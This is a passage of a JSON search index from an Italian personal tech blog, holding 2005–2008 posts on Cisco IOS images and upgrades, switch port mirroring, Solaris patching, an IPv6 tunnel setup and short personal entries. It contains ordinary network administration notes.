src=\"/wp-content/uploads/2008/08/2799772157-300x225.jpg\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eQuesto ha meritato una foto, in fondo si puo\u0026rsquo; notare la stazione centrale, e la strada praticamente deserta.\u003c/p\u003e","title":"Milano in agosto"},{"content":"Breve prontuario per riconoscere le immagini e le relative feature (sono indicate le principali):\nIP : y\nADSL : 7\nIP PLUS : s\nVOICE : v\nCRYPTO (maggiore di 64-bit) : k9\nCRYPTO (minore di 64-bit) : k8\nIBM/AT/IPX : bnr2\nFW/IDS : o3\nH323 : x\nIP/IPX/APPLETALK : bin\nIP/FW : oy6\nLAWFUL INTERCEPT : u2\nENTERPRISE : js\nSSG : g4\nInoltre le immagini sono presenti altre immagini raggruppate per feature:\nIP BASE = IOS entry level nessuna caratteristica principale IP VOICE = VoIP, VoFR, IP Telephony\nADVANCED SECURITY : IOS Firewall, IDS, SSH, IPsec, VPN, 3DES SP SERVICE : MPLS, SSH, ATM, VoATM ENTERPRISE BASE : Multiprotocol, IBM\nADVANCED IP SERVICE : IPv6, Advanced Security, Service Provider Service ENTERPRISE SERICE : Enterprise Base, IBM Full, Service Provider Service\nADVANCED ENTERPRISE SERVICE : Tutto quello descritto prima.\n","permalink":"https://www.deepreflect.net/2008/08/23/cisco-ios-image/","summary":"\u003cp\u003eBreve prontuario per riconoscere le immagini e le relative feature (sono indicate le principali):\u003c/p\u003e\n\u003cp\u003eIP : y\u003c/p\u003e\n\u003cp\u003eADSL : 7\u003c/p\u003e\n\u003cp\u003eIP PLUS : s\u003c/p\u003e\n\u003cp\u003eVOICE : v\u003c/p\u003e\n\u003cp\u003eCRYPTO (maggiore di 64-bit) : k9\u003c/p\u003e\n\u003cp\u003eCRYPTO (minore di 64-bit) : k8\u003c/p\u003e\n\u003cp\u003eIBM/AT/IPX : bnr2\u003c/p\u003e\n\u003cp\u003eFW/IDS : o3\u003c/p\u003e\n\u003cp\u003eH323 : x\u003c/p\u003e\n\u003cp\u003eIP/IPX/APPLETALK : bin\u003c/p\u003e\n\u003cp\u003eIP/FW : oy6\u003c/p\u003e\n\u003cp\u003eLAWFUL INTERCEPT : u2\u003c/p\u003e\n\u003cp\u003eENTERPRISE : js\u003c/p\u003e\n\u003cp\u003eSSG : g4\u003c/p\u003e\n\u003cp\u003eInoltre le immagini sono presenti altre immagini raggruppate per feature:\u003c/p\u003e\n\u003cp\u003eIP BASE = IOS entry level nessuna caratteristica principale\nIP VOICE = VoIP,  VoFR, IP Telephony\u003c/p\u003e","title":"Cisco - IOS Image"},{"content":"Comandi base per aggionare un Catalyst 29xx partendo da un\u0026rsquo;immagine IOS compresssa in tar, ovviamente e\u0026rsquo; indispensabile avere a disposizione un server TFTP con gia\u0026rsquo; caricata nella root l\u0026rsquo;immagine.\nFase 1 - Eliminare l\u0026rsquo;immagine e eventuali web-interface con questi due comandi:\nSwitch#delete flash:c0000-versioneios.bin Switch#delete flash:html/* Fase 2 - Copiare scompattare e caricare l\u0026rsquo;immagine dall\u0026rsquo;TFTP\nSwitch#archive tar /xtract tftp://10.10.10.1/c0000-versioneios.bin flash:\nFase 3 - Verificare l\u0026rsquo;immagine\nSwitch#verify flash:c0000-versioneios.bin\nMemo:\nLe immagini con questa notazione \u0026ldquo;i6k2l2q4\u0026rdquo; hanno le seguenti feature: EI AND SI IOS CRYPTO\nLe immagini con questa notazione \u0026ldquo;i6q4l2\u0026rdquo; hanno le seguenti feature: EI AND SI IOS\n","permalink":"https://www.deepreflect.net/2008/08/23/cisco-catalyst-ios-upgrade/","summary":"\u003cp\u003eComandi base per aggionare un Catalyst 29xx partendo da un\u0026rsquo;immagine IOS compresssa in tar, ovviamente e\u0026rsquo; indispensabile avere a disposizione un server TFTP con gia\u0026rsquo; caricata nella root l\u0026rsquo;immagine.\u003c/p\u003e\n\u003cp\u003eFase 1 - Eliminare l\u0026rsquo;immagine e eventuali web-interface con questi due comandi:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSwitch#delete flash:c0000-versioneios.bin\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSwitch#delete flash:html/*\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eFase 2 - Copiare scompattare e caricare l\u0026rsquo;immagine dall\u0026rsquo;TFTP\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eSwitch#archive tar /xtract tftp://10.10.10.1/c0000-versioneios.bin flash:\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eFase 3 - Verificare l\u0026rsquo;immagine\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eSwitch#verify flash:c0000-versioneios.bin\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eMemo:\u003c/p\u003e\n\u003cp\u003eLe immagini con questa notazione \u0026ldquo;i6k2l2q4\u0026rdquo; hanno le seguenti feature:\nEI AND SI IOS CRYPTO\u003c/p\u003e","title":"Cisco Catalyst - IOS Upgrade"},{"content":"Piccolo memo sull\u0026rsquo;uso delle funzioni di monitoraggio, sui catalyst, nel caso di debba sniffare il traffico per installare un IDS o per un po\u0026rsquo; di sana diagnostica in caso di problemi.\nSe lo switch supporta le sessioni di monitoring, esempio se si vuole monitorare la porta 10 usando uno sniffer sulla 20 cosi':\n! monitor session 1 source interface Fa0/10 monitor session 1 destination interface Fa0/20 ! Se lo supporta il port monitoring, esempio se si vuole monitorare con uno sniffer sulla porta 20 il traffico tra porta 10 e porta 1:\n! interface FastEthernet0/20 port monitor FastEthernet0/10 port monitor FastEthernet0/1 port monitor VLAN1 ! ","permalink":"https://www.deepreflect.net/2008/08/22/cisco-port-monitoring/","summary":"\u003cp\u003ePiccolo memo sull\u0026rsquo;uso delle funzioni di monitoraggio, sui catalyst, nel caso di debba sniffare il traffico per installare un IDS o per un po\u0026rsquo; di sana diagnostica in caso di problemi.\u003c/p\u003e\n\u003cp\u003eSe lo switch supporta le sessioni di monitoring, esempio se si vuole\nmonitorare la porta 10 usando uno sniffer sulla 20 cosi':\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emonitor session 1 source interface Fa0/10\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emonitor session 1 destination interface Fa0/20\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eSe lo supporta il port monitoring, esempio se si vuole monitorare con uno\nsniffer sulla porta 20 il traffico tra porta 10 e porta 1:\u003c/p\u003e","title":"Cisco Catalyst - Port Monitoring"},{"content":" Un pezzetto del rack di casa, in vista il catalyst 2950 e il router 2600\n","permalink":"https://www.deepreflect.net/2008/08/20/home-network/","summary":"\u003cp\u003e\u003ca href=\"/wp-content/uploads/2008/08/l1000633.jpg\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2008/08/l1000633-300x225.jpg\"\u003e\u003c/a\u003e Un pezzetto del rack di casa, in vista il catalyst 2950 e il router 2600\u003c/p\u003e","title":"Home network"},{"content":"Un piccolo memo sul sistema di gestione delle patch in Solaris, patch ID 121118(SPARC version) o 121119(x86 version)\nQuesti sono i comandi principali:\nAnalyze: /usr/sadm/bin/smpatch analyze Download: /usr/sadm/bin/smpatch download Add Patch: /usr/sadm/bin/smpatch add\nBisogna registrare il sistema con questo comando:\n# /usr/sbin/sconadm register -a -r /tmp/registrationprofile.properties\nIl file /tmp/registrationprofile.properties deve essere una cosa simile a questo:\nuserName=newuser password=newpassword hostName= subscriptionKey= portalEnabled=false proxyHostName= proxyPort= proxyUserName= proxyPassword= ","permalink":"https://www.deepreflect.net/2008/08/20/solaris-patch-it/","summary":"\u003cp\u003eUn piccolo memo sul sistema di gestione delle patch in Solaris, patch ID \u003ca href=\"http://sunsolve.sun.com/search/document.do?assetkey=1-21-121118\"\u003e121118\u003c/a\u003e(SPARC version) o \u003ca href=\"http://sunsolve.sun.com/search/document.do?assetkey=1-21-121119\"\u003e121119\u003c/a\u003e(x86 version)\u003c/p\u003e\n\u003cp\u003eQuesti sono i comandi principali:\u003c/p\u003e\n\u003cp\u003eAnalyze: \u003ccode\u003e/usr/sadm/bin/smpatch analyze\u003c/code\u003e\nDownload: \u003ccode\u003e/usr/sadm/bin/smpatch download\u003c/code\u003e\nAdd Patch: \u003ccode\u003e/usr/sadm/bin/smpatch add\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eBisogna registrare il sistema con questo comando:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e# /usr/sbin/sconadm register -a -r /tmp/registrationprofile.properties\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eIl file /tmp/registrationprofile.properties deve essere una cosa simile a questo:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003euserName=newuser\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003epassword=newpassword\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ehostName=\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esubscriptionKey=\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eportalEnabled=false\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eproxyHostName=\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eproxyPort=\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eproxyUserName=\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eproxyPassword=\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Solaris - Patch It"},{"content":"Dal momento che l\u0026rsquo;SNMP non ha voglia da andare e avendo bisogno urgente di aggiornare un host su un dns, e essendo il router un Cisco 837 e non potendo usare ios 12.4 che supporta questo genere di protocollo, ho scritto qualche riga.\nUn cron esegue ogni 15 minuti questo script: /opt/dyn/noip2 -i `/opt/dyn/gci` Ecco il contenuto di gci #!/bin/sh host=192.168.x.x port=23 login=cisco passwd=cisco cmd=\u0026#39;sh ip int brief\u0026#39; (echo open ${host} ${port} sleep 1 echo ${login} sleep 1 echo ${passwd} sleep 1 echo ${cmd} sleep 1 echo exit) | telnet|grep Dialer0|awk \u0026#39;{print $2}\u0026#39; Sarebbero cose da non usare.\n","permalink":"https://www.deepreflect.net/2008/08/20/dyndns-get-ip-from-cisco/","summary":"\u003cp\u003eDal momento che l\u0026rsquo;SNMP non ha voglia da andare e avendo bisogno urgente di aggiornare un host su un dns, e essendo il router un Cisco 837 e non potendo usare ios 12.4 che supporta questo genere di protocollo, ho scritto qualche riga.\u003c/p\u003e\n\u003cp\u003eUn cron esegue ogni 15 minuti questo script:\n\u003ccode\u003e/opt/dyn/noip2 -i `/opt/dyn/gci` \u003c/code\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eEcco il contenuto di gci\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#!/bin/sh\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ehost\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e192.168.x.x\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eport\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e23\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003elogin\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003ecisco\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003epasswd\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003ecisco\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ecmd\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;sh ip int brief\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003eecho open \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003ehost\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eport\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esleep \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eecho \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003elogin\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esleep \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eecho \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003epasswd\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esleep \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eecho \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003ecmd\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esleep \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eecho exit\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e | telnet|grep Dialer0|awk \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;{print $2}\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eSarebbero cose da non usare.\u003c/p\u003e","title":"Dyndns Get Ip from cisco"},{"content":"Anche se non credevo che fosse cosi\u0026rsquo; semplice i tunnel 6to4 sui router cisco non sono una cosa complessa come sembra posto uno straccio di configurazione usato con il tunnel broker Hurricane Electric sul server di parigi:\ninterface Tunnel0 no ip address no ip redirects no ip unreachables no ip proxy-arp ipv6 address 2001:470:1F12:10A::2/64 ipv6 enable tunnel source xxx.xxx.xxx.xxx tunnel destination 216.66.84.42 tunnel mode ipv6ip ! ipv6 route ::/0 Tunnel0 Attenzione questa e\u0026rsquo; usata su un 2600 con IOS 12.3 IP FW IDS PLUS / IPSEC Ricordo che e\u0026rsquo; bene inserire un ACL che faccia passare il protocollo 41 solo dall\u0026rsquo;end point del tunnel e ovviamente lasciare le risposte icmp abilitate\n","permalink":"https://www.deepreflect.net/2008/08/20/cisco-ipv6/","summary":"\u003cp\u003eAnche se non credevo che fosse cosi\u0026rsquo; semplice i tunnel 6to4 sui router cisco non sono una cosa complessa come sembra posto uno straccio di configurazione usato con il tunnel broker Hurricane Electric sul server di parigi:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003einterface Tunnel0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eno ip address\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eno ip redirects\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eno ip unreachables\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eno ip proxy-arp\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eipv6 address 2001:470:1F12:10A::2/64\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eipv6 enable\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003etunnel source xxx.xxx.xxx.xxx\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003etunnel destination 216.66.84.42\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003etunnel mode ipv6ip\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e!\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eipv6 route ::/0 Tunnel0\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eAttenzione questa e\u0026rsquo; usata su un 2600 con IOS 12.3 IP FW IDS PLUS / IPSEC\nRicordo che e\u0026rsquo; bene inserire un ACL che faccia passare il protocollo 41 solo dall\u0026rsquo;end point del tunnel e ovviamente lasciare le risposte icmp abilitate\u003c/p\u003e","title":"Cisco IPv6"},{"content":"Visto che ogni tanto sale l\u0026rsquo;inutile fobia dell\u0026rsquo;imminente fine degli IP4 (cosa che reputo ridicola) ho deciso che era il momento di muovere un po\u0026rsquo; la mia rete dato che iniziava ad essere abbastanza monotona.\nQuindi dal 22 Luglio ho allocate due classi di ip:\n2001:470:c86f::/48 2001:470:1f13:10a::/64\nGia\u0026rsquo; che ero in vena di novita\u0026rsquo; c\u0026rsquo;e\u0026rsquo; pure un nuovo dominio stars6.net dedicato alle prove del caso.\n","permalink":"https://www.deepreflect.net/2008/08/20/ipv6/","summary":"\u003cp\u003eVisto che ogni tanto sale l\u0026rsquo;inutile fobia dell\u0026rsquo;imminente fine degli IP4 (cosa che reputo ridicola) ho deciso che era il momento di muovere un po\u0026rsquo; la mia rete dato che iniziava ad essere abbastanza monotona.\u003c/p\u003e\n\u003cp\u003eQuindi dal 22 Luglio ho allocate due classi di ip:\u003c/p\u003e\n\u003cp\u003e2001:470:c86f::/48\n2001:470:1f13:10a::/64\u003c/p\u003e\n\u003cp\u003eGia\u0026rsquo; che ero in vena di novita\u0026rsquo; c\u0026rsquo;e\u0026rsquo; pure un nuovo dominio stars6.net dedicato alle prove del caso.\u003c/p\u003e","title":"IPv6"},{"content":"Da qualche mese a questa parte ho avuto la pazza idea di usare solaris, credo che non ci sia migliore cosa che provarlo in produzione, quindi ho spolverato una Ultra 10 presa tempo fa e mai seriamente utilizzata, tolto la SunPCI e installato Solaris 10.\nSun Ultra 5/10 UPA/PCI (UltraSPARC-IIi 440MHz), No Keyboard OpenBoot 3.25, 512 MB (50 ns) memory installed, Serial #15184795. Ethernet address 8:0:20:e7:b3:9b, Host ID: 80e7b39b. Rebooting with command: boot Boot device: /pci@1f,0/pci@1,1/ide@3/disk@0,0:a File and args: SunOS Release 5.10 Version Generic_127127-11 64-bit Copyright 1983-2008 Sun Microsystems, Inc. All rights reserved. Use is subject to license terms. Hostname: ultra10 /dev/rdsk/c0t0d0s1 is clean ultra10 console login: Visto che poi e\u0026rsquo; partito tutto, tolto la tastiera e messo in armadio fa una certa scena, in ogni caso, web e mail server non se la cava male per, l\u0026rsquo;eta\u0026rsquo; che ha.\n","permalink":"https://www.deepreflect.net/2008/08/20/solaris/","summary":"\u003cp\u003eDa qualche mese a questa parte ho avuto la pazza idea di usare solaris, credo che non ci sia migliore cosa che provarlo in produzione, quindi ho spolverato una Ultra 10 presa tempo fa e mai seriamente utilizzata, tolto la SunPCI e installato Solaris 10.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSun Ultra 5/10 UPA/PCI (UltraSPARC-IIi 440MHz), No Keyboard\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eOpenBoot 3.25, 512 MB (50 ns) memory installed, Serial #15184795.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eEthernet address 8:0:20:e7:b3:9b, Host ID: 80e7b39b.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRebooting with command: boot\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eBoot device: /pci@1f,0/pci@1,1/ide@3/disk@0,0:a\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eFile and args: SunOS Release 5.10 Version Generic_127127-11 64-bit\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCopyright 1983-2008 Sun Microsystems, Inc.  All rights reserved.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUse is subject to license terms.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eHostname: ultra10\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e/dev/rdsk/c0t0d0s1 is clean\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eultra10 console login:\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eVisto che poi e\u0026rsquo; partito tutto, tolto la tastiera e messo in armadio fa una certa scena, in ogni caso, web e mail server non se la cava male per, l\u0026rsquo;eta\u0026rsquo; che ha.\u003c/p\u003e","title":"Solaris"},{"content":"\nVita e teconologia.\n","permalink":"https://www.deepreflect.net/2008/08/20/my-life/","summary":"\u003cp\u003e\u003ca href=\"/wp-content/uploads/2008/08/l1000627.jpg\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2008/08/l1000627-300x225.jpg\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eVita e teconologia.\u003c/p\u003e","title":"My Life"},{"content":"\n","permalink":"https://www.deepreflect.net/2008/08/20/ch36/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2008/08/36.jpg\"\u003e\u003c/p\u003e","title":"CH36"},{"content":" My name is Leonardo, but most people call me Leo though.\nI\u0026rsquo;m self-employed I consider myself an IT Architect I mainly work with Unix/Linux and sometimes Network Design, in recent years I also became an Entrepreneur creating and investing in technology companies. I’ve been involved (also creator) in various projects like experimental enterprise infrastructure (www.wide-net.org), Geographic Wireless Network (air-way) and other Retrocomputing / Network / HAM related projects. I live in Italy not so far from Milan, but I spend most of my time far from home due to work.\nYou can find other information from \u0026ldquo;social\u0026rdquo; addicted profile, to be honest I\u0026rsquo;m not really active on those but you can still find funny stuff:\n- Linkedin =\u0026gt; https://www.linkedin.com/in/lrizzi\n- Mastodon =\u0026gt; https://mastodon.social/@lrizzi\n- Flickr =\u0026gt; https://www.flickr.com/photos/stars6/\n- GitHub =\u0026gt; https://github.com/lrizzi\nLet me know if you have any questions: leo [ at ] deepreflect.net\n","permalink":"https://www.deepreflect.net/about/","summary":"\u003cimg src=\"/wp-content/uploads/2020/12/img_20201119_20262444047978434328988070.jpg\" width=\"300\" alt=\"Leo with a pipe\"\u003e\n\u003cp\u003eMy name is \u003cem\u003eLeonardo\u003c/em\u003e, but most people call me \u003cem\u003eLeo\u003c/em\u003e though.\u003c/p\u003e\n\u003cp\u003eI\u0026rsquo;m self-employed I consider myself an IT Architect I mainly work with Unix/Linux and sometimes Network Design, in recent years I also became an Entrepreneur creating and investing in technology companies. I’ve been involved (also creator) in various projects like experimental enterprise infrastructure (\u003ca href=\"http://www.wide-net.org/\"\u003ewww.wide-net.org\u003c/a\u003e), Geographic Wireless Network (air-way) and other Retrocomputing / Network / HAM related projects. I live in Italy not so far from Milan, but I spend most of my time far from home due to work.\u003c/p\u003e","title":"About Me"},{"content":"Welcome to WordPress. This is your first post. Edit or delete it, then start blogging!\n","permalink":"https://www.deepreflect.net/2008/06/22/hello-world/","summary":"\u003cp\u003eWelcome to WordPress. This is your first post. Edit or delete it, then start blogging!\u003c/p\u003e","title":"Hello world!"},{"content":"Hai la capacita’ cranica di un fermacarte.\n","permalink":"https://www.deepreflect.net/2006/10/02/frenologia/","summary":"\u003cp\u003eHai la capacita’ cranica di un fermacarte.\u003c/p\u003e","title":"Frenologia"},{"content":"“…radiorizzonti FM 88; love is all you need…”\n","permalink":"https://www.deepreflect.net/2006/10/01/love/","summary":"\u003cp\u003e“…radiorizzonti FM 88; love is all you need…”\u003c/p\u003e","title":"Love"},{"content":"Dopo tante parole sprecate, chiudo la baracca che forse e\u0026rsquo; meglio!\n[Leo]\n","permalink":"https://www.deepreflect.net/2005/04/11/chiudo/","summary":"\u003cp\u003eDopo tante parole sprecate, chiudo la baracca che forse e\u0026rsquo; meglio!\u003c/p\u003e\n\u003cp\u003e[Leo]\u003c/p\u003e","title":"Chiudo"},{"content":"Questa e\u0026rsquo; una frase di un celebre film, ma come inizia tutto? Forse e\u0026rsquo; giunta l\u0026rsquo;ora che torni a casa\u0026hellip;\n[Leo]\n","permalink":"https://www.deepreflect.net/2005/04/10/la-fine-e-importante-in-tutte-le-cose/","summary":"\u003cp\u003eQuesta e\u0026rsquo; una frase di un celebre film, ma come inizia tutto?\nForse e\u0026rsquo; giunta l\u0026rsquo;ora che torni a casa\u0026hellip;\u003c/p\u003e\n\u003cp\u003e[Leo]\u003c/p\u003e","title":"La fine e’ importante in tutte le cose"},{"content":"Ma e\u0026rsquo; vero che dico sempre le solite cosa? Prevedibile?\n[Leo]\n","permalink":"https://www.deepreflect.net/2005/03/31/vero-o-falso/","summary":"\u003cp\u003eMa e\u0026rsquo; vero che dico sempre le solite cosa?\nPrevedibile?\u003c/p\u003e\n\u003cp\u003e[Leo]\u003c/p\u003e","title":"Vero o Falso"},{"content":"Domandona: come e\u0026rsquo; possibile esprimere un ideale di unione di compattezza di e ideologia comune e coerente quando tutto questo non esiste in un gruppo?\nDirei che e\u0026rsquo; pressoche impossibile, come al solito le cose che vengono definite impossibili appunto perche\u0026rsquo; tali, sono quelle che devono essere realizzate a tutti i \u0026hellip;\n","permalink":"https://www.deepreflect.net/2005/02/27/unione/","summary":"\u003cp\u003eDomandona: come e\u0026rsquo; possibile esprimere un ideale di unione di compattezza di e ideologia comune e coerente quando tutto questo non esiste in un gruppo?\u003c/p\u003e\n\u003cp\u003eDirei che e\u0026rsquo; pressoche impossibile, come al solito le cose che vengono definite impossibili appunto perche\u0026rsquo; tali, sono quelle che devono essere realizzate a tutti i \u0026hellip;\u003c/p\u003e","title":"Unione"},{"content":"Dopo 